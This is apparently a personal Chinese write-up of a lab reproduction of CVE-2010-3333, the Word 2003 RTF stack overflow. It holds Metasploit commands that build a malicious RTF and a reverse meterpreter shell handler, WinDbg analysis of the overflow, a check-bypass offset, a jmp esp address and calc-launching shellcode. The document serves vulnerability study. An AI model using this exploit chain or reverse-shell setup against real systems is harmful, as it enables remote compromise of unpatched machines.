CVE-2010-3333是《漏洞战争》里讲到的第二个栈溢出漏洞,出现在mso.dll文件上。
我并没有成功地独立写出exp,算是比较可惜的地方。但是在写文章过程中分析了下,大体上算是写出来了😀。

环境描述

攻击者平台:Kali Linux,IP:192.168.56.110
受害者平台:Windows XP SP3,IP:192.168.56.109
软件:Word 2003(关键的mso.dll文件版本为:11.0.8172.0 )

漏洞利用

使用msf6生成利用rtf文件、监听4444端口,在Windows XP SP3 上用 Word 2003 打开文件,Kali Linux上会得到一个shell。

msf6 payload(windows/meterpreter/reverse_tcp) > use 0
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set lhost 192.168.56.110 
lhost => 192.168.56.110
msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set lport 4444
lport => 4444
msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set target 0
target => 0
msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > run

[*] Creating 'msf.rtf' file ...
[+] msf.rtf stored at /home/uzi/.msf4/local/msf.rtf
msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.56.110 
lhost => 192.168.56.110
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run

漏洞成功利用后,Windows XP SP3上Word软件会卡住,不算特别理想。效果如下图:
漏洞利用截图

漏洞分析

windbg 设置

之前一般使用Ollydbg调试windows程序,但分析CVE-2010-3333过程中,主要使用WinDbg调试,感觉体验还挺好。
我自己的WinDbg窗口布局如下,左边分别是汇编代码和命令窗口,右边是内存空间和一个包含函数调用栈、监视器、寄存器值的窗口。其中内存空间设置一行为16个字节,同时取消了自动调整列数的勾选。
windbg界面布局

调试1、分析故障

运行Windbg,打开Word,然后在Windbg里附加到Word进程,快捷键为F6。附加进程后word会加载一些dll文件,然后中断在int 3处。

在Kali Linux上使用msf生成调试用的rtf文件,前面的命令将target参数值设置为6即可。搭建简易Python HTTPServer 服务端python3 -m http.server,在Windows XP上下载文件。

在windbg的Command窗口输入g,使Word程序接着运行。在Word软件内打开生成的调试rtf文件。
这时会发现Word窗口变灰、失去响应,切换到windbg窗口,发现程序中断在30ed442c处。

(1e4.2c0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000c8ac ebx=05000000 ecx=000001d1 edx=00000000 esi=1104c174 edi=00130000
eip=30ed442c esp=00123e70 ebp=00123ea8 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll -
mso!Ordinal1246+0x16b0:
30ed442c f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

从上面报错信息可以看出,函数在执行rep movs dword ptr es:[edi],dword ptr [esi]语句时遇到了异常。

搜索Access violation - code c0000005,在微软文档 Access Violation C0000005中指出:当程序读、写或者执行无效的内存地址时会出现错误码c0000005的异常。

根据上面文档,在WinDbg的Command窗口运行.exr -1

0:000> .exr -1
ExceptionAddress: 30ed442c (mso!Ordinal1246+0x000016b0)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 00130000
Attempt to write to address 00130000

根据上面信息,得知程序往0x0013000写数据时遇到错误。又根据微软文档 Access Violation C0000005 - Read or Write,知道可以通过!address <address>查看某一地址的状态。

0:000> !address 00130000
Usage: MemoryMappedFile
Allocation Base: 00130000
Base Address: 00130000
End Address: 00133000
Region Size: 00003000
Type: 00040000 MEM_MAPPED
State: 00001000 MEM_COMMIT
Protect: 00000002 PAGE_READONLY
Mapped file name: PageFile

查看发现0x00130000地址空间Protec属性为只读。
30ed442c处指令含义为,将esi寄存器指向的数据复制到edi寄存器中,复制的次数来自ecx寄存器。指令执行时,尝试往0x00130000地址空间写数据,导致报错。

30ed442c f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

调试2、问题来源

在Windbg中,使用u命令查看某一地址之后的反汇编代码,ub则是某一地址之前的反汇编代码。

0:000> ub 30ed442c
mso!Ordinal1246+0x1697:
30ed4413 8b4808 mov ecx,dword ptr [eax+8]
30ed4416 81e1ffff0000 and ecx,0FFFFh
30ed441c 56 push esi
30ed441d 8bf1 mov esi,ecx
30ed441f 0faf742414 imul esi,dword ptr [esp+14h]
30ed4424 037010 add esi,dword ptr [eax+10h]
30ed4427 8bc1 mov eax,ecx
30ed4429 c1e902 shr ecx,2

发现30ed442c位于30ed4413函数中,在IDA的图视图里,发现30ed4413位于sub_30ED4406函数内。在IDA中将光标放在sub_30ED4406上,按快捷键x查找反向引用,发现未找到,猜测被调用函数地址是动态计算出来的。

在WinDbg里断掉当前程序,重新打开Word程序,附加到进程。在运行前增加断点。

bp 30ED4406
bp 30ed442c

按道理这里可以直接使用WinDbg的Restart功能(快捷键为Ctrl+Shift+F5),程序会断在还没加载mso.dll时,此时还不能下断点,按g接着运行程序,待mso.dll加载后点击Break按钮(快捷键为Ctrl+Break)中断程序,然后下断点即可。唯一的缺点是保存的窗口布局会没有。😥

g运行程序,在Word打开调试rtf文件,发现程序断在30ed4406处。

Breakpoint 0 hit
eax=30da33d8 ebx=05000000 ecx=00123e98 edx=00000000 esi=014e1100 edi=00124060
eip=30ed4406 esp=00123e78 ebp=00123ea8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mso!Ordinal1246+0x168a:
30ed4406 57 push edi

此时函数调用堆栈为:

0:000> kpn
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 00123ea8 30f0b56b mso!Ordinal1246+0x168a
01 00123ed8 30f0b4f9 mso!Ordinal1273+0x2581
02 00124124 30d4d795 mso!Ordinal1273+0x250f
03 0012414c 30d4d70d mso!Ordinal5575+0xf9
04 00124150 30d4d5a8 mso!Ordinal5575+0x71
05 00124154 014e14dc mso!Ordinal4099+0xf5
06 00124158 014e1514 0x14e14dc
07 0012415c 014e13c4 0x14e1514
08 00124160 30dce40c 0x14e13c4
09 00124164 00000000 mso!Ordinal2940+0x1588c

汇编语言中函数调用的逻辑可以参考两篇经典的文章,分别是C语言函数调用栈(一)C语言函数调用栈(二)

简要的描述函数调用的过程为:

  1. 按照从右到左的顺序将被调用函数(callee)的参数压入栈
  2. call 0xdeadbeaf,将当前函数(caller)的eip压入栈,跳转到被调用函数(caller)执行
  3. push ebp,被调用函数(callee)将当前函数(caller)的ebp寄存器压入栈
  4. mov ebp,esp,被调用函数(callee)将当前函数(caller)栈顶指针esp作为被调用函数(caller)栈底指针ebp
  5. 被调用函数(callee)规划栈空间,进行相关计算
  6. 由于栈平衡,被调用函数运行完成后,栈空间达到第4步状态
  7. 此时pop ebp,将当前函数(callee)的ebp寄存器还原
  8. ret 14h<==> pop eip; add esp,0x14h ,代码执行重新回到当前函数(callee)

上述函数调用堆栈中30f0b4f9是返回地址,即当sub_30ED4406执行完成后,函数会执行30f0b4f9处代码。

 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 00123ea8 30f0b56b mso!Ordinal1246+0x168a
01 00123ed8 30f0b4f9 mso!Ordinal1273+0x2581

使用ub 30f0b56b分析代码是从30f0b5c2跳转进入sub_30ED4406的。

0:000> ub 30f0b56b
mso!Ordinal1273+0x256d:
30f0b557 23c1 and eax,ecx
30f0b559 50 push eax
30f0b55a 8d47ff lea eax,[edi-1]
30f0b55d 50 push eax
30f0b55e 8b4508 mov eax,dword ptr [ebp+8]
30f0b561 6a00 push 0
30f0b563 ff750c push dword ptr [ebp+0Ch]
30f0b566 e857000000 call mso!Ordinal1273+0x25d8 (30f0b5c2)

在WinDbg里断掉当前程序,重新打开Word程序,附加到进程。在运行前增加断点30f0b5c2。🤣

bp 30ED4406
bp 30ed442c
bp 30f0b5c2

步进调试至30f0b5f8处时,跳转至30ed4406函数,进入函数。

0:000> t
eax=30da33d8 ebx=05000000 ecx=00123e98 edx=00000000 esi=014e1100 edi=00124060
eip=30f0b5f8 esp=00123e7c ebp=00123ea8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mso!Ordinal1273+0x260e:
30f0b5f8 ff501c call dword ptr [eax+1Ch] ds:0023:30da33f4=30ed4406

运行至发生栈溢出函数时,各寄存器值如下。即将1104000c处的数据复制至00123e98处,复制0x0000322b个dword。

0:000> t
eax=0000c8ac ebx=05000000 ecx=0000c8ac edx=00000000 esi=1104000c edi=00123e98
eip=30ed4429 esp=00123e70 ebp=00123ea8 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
mso!Ordinal1246+0x16ad:
30ed4429 c1e902 shr ecx,2
0:000> t
Breakpoint 1 hit
eax=0000c8ac ebx=05000000 ecx=0000322b edx=00000000 esi=1104000c edi=00123e98
eip=30ed442c esp=00123e70 ebp=00123ea8 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216
mso!Ordinal1246+0x16b0:
30ed442c f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

esi处数据为:

0:000> db 1104000c
1104000c 41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41 Aa0Aa1Aa2Aa3Aa4A
1104001c 61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62 a5Aa6Aa7Aa8Aa9Ab
1104002c 30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35 0Ab1Ab2Ab3Ab4Ab5
1104003c 41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41 Ab6Ab7Ab8Ab9Ac0A
1104004c 63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63 c1Ac2Ac3Ac4Ac5Ac
1104005c 36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31 6Ac7Ac8Ac9Ad0Ad1
1104006c 41 64 32 41 64 33 41 64-34 41 64 35 41 64 36 41 Ad2Ad3Ad4Ad5Ad6A
1104007c 64 37 41 64 38 41 64 39-41 65 30 41 65 31 41 65 d7Ad8Ad9Ae0Ae1Ae

对比调试样本数据与内存数据,可以发现调试样本偏移量0x30处的2字节为ecx进行移位操作前的值(小端),而esi寄存器指向的内存空间0x1104000c内容为调试样本中内容,不过样本中的2字节对应内存空间的1字节。
调试样本数据与内存数据比较

其他调试知识

我在自己琢磨如何编写exp过程中,记录了一些有意思的调试知识,也在这里记录。

  1. 断点后自动执行命令、取消断点:
    bp0 30ed442c ".echo ============ Before StackOverflow ============; r ;kp; bd0;g;"
  2. 监听某一地址的读写操作,如果不成功的话可以在地址的0x后面加个反引号。
    ba w4 0x00123e84 ".echo ------------------;r;db 0x00123e84 L 0x20;g"
  3. IDA界面内按空格键可以快速在图视图和汇编代码视图切换,注释功能十分便捷。

exp编写

覆盖返回地址

栈溢出前内存数据

查看栈溢出前edi处内存的数据,发现返回地址相较于edi偏移0x14。
即只需要使覆盖的数据大小超过0x14,即可覆盖返回地址。

0:000> db edi
00123e98 64 ea f7 3f 00 00 00 05-00 00 00 00 06 40 00 80 d..?.........@..
00123ea8 d8 3e 12 00 6b b5 f0 30-14 40 12 00 00 00 00 00 .>..k..0.@......
00123eb8 ff ff ff ff 00 00 00 00-f4 14 4e 01 f8 44 12 00 ..........N..D..
00123ec8 64 41 12 00 10 4f 12 00-88 41 12 00 00 00 00 00 dA...O...A......
00123ed8 bc 40 12 00 f9 b4 f0 30-60 40 12 00 14 40 12 00 .@.....0`@...@..
00123ee8 00 00 00 00 f4 14 4e 01-64 41 12 00 f8 44 12 00 ......N.dA...D..
00123ef8 00 00 00 00 ff ff ff ff-ff ff ff ff ff ff ff ff ................
00123f08 00 00 00 00 00 00 00 20-01 01 00 00 00 00 00 00 ....... ........

实际编写exp时我自己遇到的最主要问题是会跳入到许多分支函数内,导致无法退出函数、执行到覆盖的返回地址

存在栈溢出的函数30ed4406在IDA的图视图内结构如下:

汇编代码为:

mov     eax, [esp+4+arg_0]
mov ecx, [eax+8]
and ecx, 0FFFFh
push esi
mov esi, ecx
imul esi, [esp+8+arg_8]
add esi, [eax+10h]
mov eax, ecx
shr ecx, 2
rep movsd ; 崩溃地址!!!
mov ecx, eax
and ecx, 3
rep movsb
pop esi
pop edi
retn 0Ch

栈溢出时esp值为00123e70,经过pop esi;pop edi;retn 0Ch后esp的值为0x00123e84;
30ed4406函数运行完成后,eip的值为30f0b5fb,而覆盖的返回地址位于00123eac。即运行完30ed4406函数并不能执行exp部分代码,需要等到上一层函数sub_30F0B5C2运行结束后才能获取控制权、执行exp。

0:000> r
eax=0000c8ac ebx=05000000 ecx=00003226 edx=00000000 esi=11040020 edi=00123eac
eip=30ed442c esp=00123e70 ebp=00123ea8 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216
mso!Ordinal1246+0x16b0:
30ed442c f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> db 00123e70
00123e70 00 11 4e 01 60 40 12 00-fb b5 f0 30 00 11 4e 01 ..N.`@.....0..N.
00123e80 98 3e 12 00 00 00 00 00-00 00 00 00 00 00 00 00 .>..............
00123e90 00 00 00 00 78 a8 5c 59-41 61 30 41 61 31 41 61 ....x.\YAa0Aa1Aa
00123ea0 32 41 61 33 41 61 34 41-61 35 41 61 6b b5 f0 30 2Aa3Aa4Aa5Aak..0
00123eb0 14 40 12 00 00 00 00 00-ff ff ff ff 00 00 00 00 .@..............
00123ec0 f4 14 4e 01 f8 44 12 00-64 41 12 00 10 4f 12 00 ..N..D..dA...O..
00123ed0 88 41 12 00 00 00 00 00-bc 40 12 00 f9 b4 f0 30 .A.......@.....0
00123ee0 60 40 12 00 14 40 12 00-00 00 00 00 f4 14 4e 01 `@...@........N.

相较于30ed4406简单的图结构而言,sub_30F0B5C2要复杂很多。
sub_30F0B5C2结构

sub_30F0B5C2函数中,在跳转至30ed4406代码后,汇编代码如下:

.text:30F0B5EE                 push    ecx
.text:30F0B5EF mov ebx, 5000000h
.text:30F0B5F4 push esi
.text:30F0B5F5 mov [ebp+var_C], ebx ; ebp - 0xC
.text:30F0B5F8 call dword ptr [eax+1Ch] ; 从这里跳转至栈溢出位置函数,30ed4406
.text:30F0B5FB mov eax, [ebp+arg_C]
.text:30F0B5FE push [ebp+arg_10]
.text:30F0B601 mov edx, [ebp+var_10]
.text:30F0B604 neg eax
.text:30F0B606 sbb eax, eax
.text:30F0B608 lea ecx, [ebp+var_8]
.text:30F0B60B and eax, ecx
.text:30F0B60D push eax
.text:30F0B60E push [ebp+arg_0]
.text:30F0B611 call sub_30F0B7AF ; 这里容易崩
.text:30F0B616 test al, al
.text:30F0B618 jz loc_30F0B6B6
.text:30F0B61E mov eax, [ebp+var_8]
.text:30F0B621 test eax, eax
.text:30F0B623 jnz loc_30F0838C

30ed4406函数返回后,代码在30F0B611处进入sub_30F0B7AF函数,sub_30F0B7AF函数结束后进行判断。
sub_30F0B7AF函数特别容易崩

30F0B623代码处根据eax寄存器的值是否为0,判断是否进行跳转:

  • 若跳转,即可直接跳到函数尾部;😁
  • 若跳转,则需要经过左边漫长、复杂的函数框,对于分析来说十分棘手。😣

容易崩的sub_30F0B7AF函数

sub_30F0B7AF函数开始部分反汇编代码如下:

push    ebp
mov ebp, esp
sub esp, 10h
push ebx
xor ebx, ebx
cmp [ebp+0x10], ebx
jz loc_310901D0

上面反汇编代码进行了基础的堆栈设置,同时比较了[ebp+0x10]是否为0。

参考汇编里函数的调用,在sub_30F0B7AF中,[ebp+0x10]为传入的第三个参数。
sub_30F0B7AF函数栈空间布局如下:


Low Address

--------------------       <---- callee EBP
|  `Caller ebp`    |
|  Return Address  |
|  args1           |
|  args2           |
--------------------       <---- callee EBP + 0x10
|  args3           |

High Address

函数进入sub_30F0B7AF前的传参反汇编代码为:

mov     [ebp+var_C], ebx ; ebp - 0xC
call dword ptr [eax+1Ch] ; 从这里跳转至栈溢出位置函数,30ed4406
mov eax, [ebp+arg_C]
push [ebp+arg_10] ; <---------args3
mov edx, [ebp+var_10]
neg eax
sbb eax, eax
lea ecx, [ebp+var_8]
and eax, ecx
push eax
push [ebp+arg_0]
call sub_30F0B7AF ; 这里容易崩

实际调试时,sub_30F0B7AF中,ebp+0x100x00123e84

修改调试样本中复制的字节数量为300个。
注:这里还做了一个测试,即30ED442C处前面对ecx进行了右移2位操作;实际复制的是dword,4字节大小。即样本中的那两字节对应就是实际复制字节数。hex(300) == 0x012c

重新加载样本,设置如下断点,这里还对各个断点的作用进行了说明,相较于枯燥的Breakpoint X hit更直观写。

bp0 30ED4406 ".echo ============ 进入存在栈溢出函数 ============; r ;kp; bd0;g;"
bp1 30ed442c ".echo ============ 栈溢出代码 ============; r ;kp; bd1;g;"
bp2 30f0b5c2 ".echo ============ 进入父函数 ============; r ;kp; bd2;g;"
bp3 30F0B5FB ".echo ============ 离开存在栈溢出函数 ============; r ;kp;"

离开栈溢出函数后,进行单步调试。此时栈顶指针esp00123e88,接着代码将00123ec0处的值压入栈中,即内存中00123e84的值即为00123ec0的值,如果此处的值为0,则可以绕过sub_30F0B7AF中的复杂检验,最终实现跳转到exp控制的返回地址。而00123ec0在溢出范围内,可控😁。

0:000> t
eax=41326241 ebx=05000000 ecx=00000000 edx=00000000 esi=014e1100 edi=00124060
eip=30f0b5fe esp=00123e88 ebp=00123ea8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mso!Ordinal1273+0x2614:
30f0b5fe ff7518 push dword ptr [ebp+18h] ss:0023:00123ec0=62413362
0:000> t
eax=41326241 ebx=05000000 ecx=00000000 edx=00000000 esi=014e1100 edi=00124060
eip=30f0b601 esp=00123e84 ebp=00123ea8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mso!Ordinal1273+0x2617:
30f0b601 8b55f0 mov edx,dword ptr [ebp-10h] ss:0023:00123e98=41306141

重新修改rtf文件,将复制字节偏移0x50字节处的8字节都改成\x30,重新调试。
(注:偏移位置在内存中为0x28,在文件是内存的两倍,即0x50;而rtf文件中的\x30即对应数字0)

可以看到修改后,上述两处值均变为了全零字节,函数执行至30f0b616处,eax寄存器值为全零,函数成功返回。

构造exp

可以直接根据上面的信息编写exp,也可以通过反汇编代码计算偏移量。这里选择前者🤣。
此时esp寄存器值为00123ec4,即从这里开始放置shellcode,然后修改返回地址为跳转到esp指令的地址即可。

jmp esp的地址是7dc54d90,直接抄的ERFZE文章Note——CVE-2010-3333里面的。

0:000> u 7dc54d90
SHELL32!Ordinal185+0x4d4c20:
7dc54d90 ffe4 jmp esp
7dc54d92 e4ff in al,0FFh
7dc54d94 ffe6 jmp esi
7dc54d96 e6ff out 0FFh,al
7dc54d98 ffe7 jmp edi
7dc54d9a e7ff out 0FFh,eax
7dc54d9c ff ???
7dc54d9d e9e9ffffeb jmp 69c54d8b

使用shell-storm的shellcode 739弹计算器:

"\x31\xC9"                // xor ecx,ecx        
"\x51" // push ecx
"\x68\x63\x61\x6C\x63" // push 0x636c6163
"\x54" // push dword ptr esp
"\xB8\xC7\x93\xC2\x77" // mov eax,0x77c293c7
"\xFF\xD0"; // call eax

没成功😥。

然后又改成了ERFZE文章Note——CVE-2010-3333里的shellcode。
33c050b82e646c6c50b8656c333250b86b65726e508bc450b87b1d807cffd033c050b82e65786550b863616c63508bc46a0550b8ad23867cffd033c050b8faca817cffd0

试了下packetstormsecurity的94002 Win32-XP-SP3-Calc.exe-Shellcode也OK。
eb1b5b31c05031c088431353bbad23867cffd331c050bbfaca817cffd3e8e0ffffff636d642e657865202f632063616c632e657865

整体回顾、复盘与总结

虽然一开始我并没有成功写出exp,但是我始终觉得应该把这个经过记录下来。
为了让后面自己看的懂,我写的十分详细。也出于谨慎考虑,尽量将文章做到让我自己满意。
最后算是成功了吧。唯一的遗憾是我没有在Office 2007尝试构造exp,这对我自己来说可以接受。

像是SCZ的下面这条微博一样。